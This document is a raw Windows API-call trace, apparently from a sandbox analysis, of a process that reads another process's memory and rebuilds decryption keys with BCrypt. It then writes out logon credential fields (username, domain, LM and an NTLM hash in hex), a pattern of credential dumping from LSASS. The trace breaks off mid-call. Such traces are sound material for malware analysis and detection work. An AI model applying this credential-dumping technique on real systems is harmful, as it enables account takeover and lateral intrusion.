[0193.400] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.400] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.401] LocalFree (hMem=0x16bb80) returned 0x0 [0193.401] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.401] LocalFree (hMem=0x16bb60) returned 0x0 [0193.401] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18df70 [0193.401] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.401] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.402] LocalFree (hMem=0x16bb60) returned 0x0 [0193.402] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.402] LocalFree (hMem=0x18df70) returned 0x0 [0193.402] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.402] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.402] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.403] LocalFree (hMem=0x16bb80) returned 0x0 [0193.403] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.403] LocalFree (hMem=0x16bb60) returned 0x0 [0193.403] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.403] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.403] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.404] LocalFree (hMem=0x16bb80) returned 0x0 [0193.404] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.404] LocalFree (hMem=0x16bb60) returned 0x0 [0193.404] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18df70 [0193.404] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.404] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.404] LocalFree (hMem=0x16bb60) returned 0x0 [0193.405] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.405] LocalFree (hMem=0x18df70) returned 0x0 [0193.405] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.405] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.405] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.405] LocalFree (hMem=0x16bb80) returned 0x0 [0193.405] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.405] LocalFree (hMem=0x16bb60) returned 0x0 [0193.406] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb60 [0193.406] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.406] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.406] LocalFree (hMem=0x16bb80) returned 0x0 [0193.406] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.406] LocalFree (hMem=0x16bb60) returned 0x0 [0193.406] NtQueryInformationProcess (in: ProcessHandle=0x140, ProcessInformationClass=0x1a, ProcessInformation=0x10f818, ProcessInformationLength=0x8, ReturnLength=0x10f880 | out: ProcessInformation=0x10f818, ReturnLength=0x10f880) returned 0x0 [0193.410] LocalAlloc (uFlags=0x40, uBytes=0x167000) returned 0x21f0040 [0193.450] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd620000, lpBuffer=0x21f0040, nSize=0x167000, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x21f0040*, lpNumberOfBytesRead=0x0) returned 1 [0194.303] LocalFree (hMem=0x21f0040) returned 0x0 [0194.314] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd6c5ada, lpBuffer=0x10fa60, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa60*, lpNumberOfBytesRead=0x0) returned 1 [0194.315] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd6c5ac3, lpBuffer=0x10fa60, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa60*, lpNumberOfBytesRead=0x0) returned 1 [0194.317] LocalAlloc (uFlags=0x40, uBytes=0x167000) returned 0x21f0040 [0194.351] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd620000, lpBuffer=0x21f0040, nSize=0x167000, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x21f0040*, lpNumberOfBytesRead=0x0) returned 1 [0194.379] LocalFree (hMem=0x21f0040) returned 0x0 [0194.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd68fc17, lpBuffer=0x10fa60, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa60*, lpNumberOfBytesRead=0x0) returned 1 [0194.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd76c840, lpBuffer=0x13fa48c90, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x13fa48c90*, lpNumberOfBytesRead=0x0) returned 1 [0194.386] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x18df70 [0194.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd68fb9f, lpBuffer=0x10f9e0, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f9e0*, lpNumberOfBytesRead=0x0) returned 1 [0194.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd76c830, lpBuffer=0x10fa00, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa00*, lpNumberOfBytesRead=0x0) returned 1 [0194.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x570000, lpBuffer=0x10f988, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f988*, lpNumberOfBytesRead=0x0) returned 1 [0194.386] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x570020, lpBuffer=0x18df70, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0194.387] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0194.387] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x57003c, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0194.389] GetProcAddress (hModule=0x7fefd410000, lpProcName="BCryptGenerateSymmetricKey") returned 0x7fefd411aa0 [0194.389] BCryptGenerateSymmetricKey (in: hAlgorithm=0x18b440, phKey=0x13fa48cc8, pbKeyObject=0x18e6e0, cbKeyObject=0x1fa, pbSecret=0x16bb60, cbSecret=0x18, dwFlags=0x0 | out: hAlgorithm=0x18b440, phKey=0x13fa48cc8, pbKeyObject=0x18e6e0) returned 0x0 [0194.389] LocalFree (hMem=0x16bb60) returned 0x0 [0194.389] LocalFree (hMem=0x18df70) returned 0x0 [0194.389] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x18df70 [0194.389] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd68fbf5, lpBuffer=0x10f9e0, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f9e0*, lpNumberOfBytesRead=0x0) returned 1 [0194.414] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd7714b0, lpBuffer=0x10fa00, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa00*, lpNumberOfBytesRead=0x0) returned 1 [0194.414] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x570200, lpBuffer=0x10f988, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f988*, lpNumberOfBytesRead=0x0) returned 1 [0194.414] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x570220, lpBuffer=0x18df70, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0194.414] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x16bb60 [0194.414] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x57023c, lpBuffer=0x16bb60, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0194.414] BCryptGenerateSymmetricKey (in: hAlgorithm=0x18b560, phKey=0x13fa48ca8, pbKeyObject=0x18e8f0, cbKeyObject=0x26e, pbSecret=0x16bb60, cbSecret=0x10, dwFlags=0x0 | out: hAlgorithm=0x18b560, phKey=0x13fa48ca8, pbKeyObject=0x18e8f0) returned 0x0 [0194.414] LocalFree (hMem=0x16bb60) returned 0x0 [0194.414] LocalFree (hMem=0x18df70) returned 0x0 [0194.414] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd7697c0, lpBuffer=0x10fbc0, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fbc0*, lpNumberOfBytesRead=0x0) returned 1 [0194.414] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0194.414] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd76d440, lpBuffer=0x10fb10, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fb10*, lpNumberOfBytesRead=0x0) returned 1 [0194.414] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x207870, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0194.417] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x18df70 [0194.417] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1fcb30, lpBuffer=0x18df70, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0194.442] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18dfa0 [0194.442] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1fcb60, lpBuffer=0x18dfa0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18dfa0*, lpNumberOfBytesRead=0x0) returned 1 [0194.442] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e7e31, lpBuffer=0x10fac0, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fac0*, lpNumberOfBytesRead=0x0) returned 1 [0194.442] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x16bb60 [0194.442] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e7e30, lpBuffer=0x16bb60, nSize=0xc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0194.442] LocalFree (hMem=0x18df70) returned 0x0 [0194.442] LocalFree (hMem=0x18dfa0) returned 0x0 [0194.442] LocalFree (hMem=0x16bb60) returned 0x0 [0194.442] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e6ae0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0194.442] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x18d290 [0194.442] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d41e0, lpBuffer=0x18d290, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18d290*, lpNumberOfBytesRead=0x0) returned 1 [0194.442] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb60 [0194.442] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e7a10, lpBuffer=0x16bb60, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0194.442] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x16bb80 [0194.442] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e5bc0, lpBuffer=0x16bb80, nSize=0x12, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0194.442] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e5be1, lpBuffer=0x10fac0, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fac0*, lpNumberOfBytesRead=0x0) returned 1 [0194.442] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x18dfa0 [0194.442] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e5be0, lpBuffer=0x18dfa0, nSize=0x1c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18dfa0*, lpNumberOfBytesRead=0x0) returned 1 [0194.454] GetLastError () returned 0x0 [0194.456] SetLastError (dwErrCode=0x0) [0194.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09msv :\x09", cchWideChar=7, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09msv :\x09", lpUsedDefaultChar=0x0) returned 7 [0194.460] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x7, lpOverlapped=0x0) returned 1 [0194.487] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e79d0, lpBuffer=0x10fa40, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa40*, lpNumberOfBytesRead=0x0) returned 1 [0194.487] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a7030, lpBuffer=0x10fa58, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa58*, lpNumberOfBytesRead=0x0) returned 1 [0194.487] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x181a40 [0194.487] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a7060, lpBuffer=0x181a40, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x181a40*, lpNumberOfBytesRead=0x0) returned 1 [0194.487] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x17db00 [0194.487] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a7058, lpBuffer=0x17db00, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17db00*, lpNumberOfBytesRead=0x0) returned 1 [0194.487] GetLastError () returned 0x0 [0194.487] SetLastError (dwErrCode=0x0) [0194.489] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 [00000003] Primary", cchWideChar=22, lpMultiByteStr=0x10ea30, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 [00000003] Primary)", lpUsedDefaultChar=0x0) returned 22 [0194.489] WriteFile (in: hFile=0x720, lpBuffer=0x10ea30*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x10e370, lpOverlapped=0x0 | out: lpBuffer=0x10ea30*, lpNumberOfBytesWritten=0x10e370*=0x16, lpOverlapped=0x0) returned 1 [0194.512] RtlEqualString (String1="Primary", String2="Primary", CaseInSensitive=0) returned 1 [0194.514] ConvertSidToStringSidW () returned 0x1 [0194.514] GetProcAddress (hModule=0x7fefd410000, lpProcName="BCryptDecrypt") returned 0x7fefd411030 [0194.514] BCryptDecrypt (in: hKey=0x18e6e0, pbInput=0x181a40, cbInput=0x98, pPaddingInfo=0x0, pbIV=0x10f918, cbIV=0x8, pbOutput=0x181a40, cbOutput=0x98, pcbResult=0x10f948, dwFlags=0x0 | out: hKey=0x18e6e0, pbIV=0x10f918, pbOutput=0x181a40, pcbResult=0x10f948) returned 0x0 [0194.515] GetLastError () returned 0x0 [0194.515] SetLastError (dwErrCode=0x0) [0194.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO", cchWideChar=63, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * Username : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO", lpUsedDefaultChar=0x0) returned 63 [0194.515] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0x3f, lpOverlapped=0x0) returned 1 [0194.554] GetLastError () returned 0x0 [0194.554] SetLastError (dwErrCode=0x0) [0194.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * LM : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO", cchWideChar=17, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * LM : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO", lpUsedDefaultChar=0x0) returned 17 [0194.554] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0x11, lpOverlapped=0x0) returned 1 [0194.556] GetLastError () returned 0x0 [0194.556] SetLastError (dwErrCode=0x0) [0194.556] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="30", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="30", lpUsedDefaultChar=0x0) returned 2 [0194.556] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.582] GetLastError () returned 0x0 [0194.583] SetLastError (dwErrCode=0x0) [0194.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="e9", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e9", lpUsedDefaultChar=0x0) returned 2 [0194.583] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.583] GetLastError () returned 0x0 [0194.583] SetLastError (dwErrCode=0x0) [0194.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0c", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0c", lpUsedDefaultChar=0x0) returned 2 [0194.583] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.583] GetLastError () returned 0x0 [0194.583] SetLastError (dwErrCode=0x0) [0194.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8e", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8e", lpUsedDefaultChar=0x0) returned 2 [0194.583] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.583] GetLastError () returned 0x0 [0194.583] SetLastError (dwErrCode=0x0) [0194.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="d6", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d6", lpUsedDefaultChar=0x0) returned 2 [0194.583] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.584] GetLastError () returned 0x0 [0194.584] SetLastError (dwErrCode=0x0) [0194.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="43", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="43", lpUsedDefaultChar=0x0) returned 2 [0194.584] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.584] GetLastError () returned 0x0 [0194.584] SetLastError (dwErrCode=0x0) [0194.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5f", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5f", lpUsedDefaultChar=0x0) returned 2 [0194.584] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.584] GetLastError () returned 0x0 [0194.584] SetLastError (dwErrCode=0x0) [0194.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="d4", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d4", lpUsedDefaultChar=0x0) returned 2 [0194.584] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.584] GetLastError () returned 0x0 [0194.584] SetLastError (dwErrCode=0x0) [0194.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="84", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="84", lpUsedDefaultChar=0x0) returned 2 [0194.585] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.585] GetLastError () returned 0x0 [0194.585] SetLastError (dwErrCode=0x0) [0194.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="12", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12", lpUsedDefaultChar=0x0) returned 2 [0194.585] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.585] GetLastError () returned 0x0 [0194.585] SetLastError (dwErrCode=0x0) [0194.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="e8", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e8", lpUsedDefaultChar=0x0) returned 2 [0194.585] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.585] GetLastError () returned 0x0 [0194.585] SetLastError (dwErrCode=0x0) [0194.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="39", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="39", lpUsedDefaultChar=0x0) returned 2 [0194.585] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.585] GetLastError () returned 0x0 [0194.585] SetLastError (dwErrCode=0x0) [0194.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bc", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bc", lpUsedDefaultChar=0x0) returned 2 [0194.586] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.586] GetLastError () returned 0x0 [0194.586] SetLastError (dwErrCode=0x0) [0194.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fe", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fe", lpUsedDefaultChar=0x0) returned 2 [0194.586] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.586] GetLastError () returned 0x0 [0194.586] SetLastError (dwErrCode=0x0) [0194.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4d", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4d", lpUsedDefaultChar=0x0) returned 2 [0194.586] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.586] GetLastError () returned 0x0 [0194.586] SetLastError (dwErrCode=0x0) [0194.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="42", cchWideChar=2, lpMultiByteStr=0x10e970, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="42", lpUsedDefaultChar=0x0) returned 2 [0194.586] WriteFile (in: hFile=0x720, lpBuffer=0x10e970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e2b0, lpOverlapped=0x0 | out: lpBuffer=0x10e970*, lpNumberOfBytesWritten=0x10e2b0*=0x2, lpOverlapped=0x0) returned 1 [0194.586] GetLastError () returned 0x0 [0194.586] SetLastError (dwErrCode=0x0) [0194.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\n\x09 * NTLM : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO", cchWideChar=17, lpMultiByteStr=0x10e9b0, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\x09 * NTLM : 5p5NrGJn0jS HALPmcxz\r\n\x09 * Domain : XDUWTFONO", lpUsedDefaultChar=0x0) returned 17 [0194.587] WriteFile (in: hFile=0x720, lpBuffer=0x10e9b0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x10e2f0, lpOverlapped=0x0 | out: lpBuffer=0x10e9b0*, lpNumberOfBytesWritten=0x10e2f0*=0x11, lpOverlapped=0x0) returned 1 [0194.587] GetLastError () returned 0x0 [0194.587] SetLastError (dwErrCode=0x0) [0194.587] WideCharToMultiByte (in: 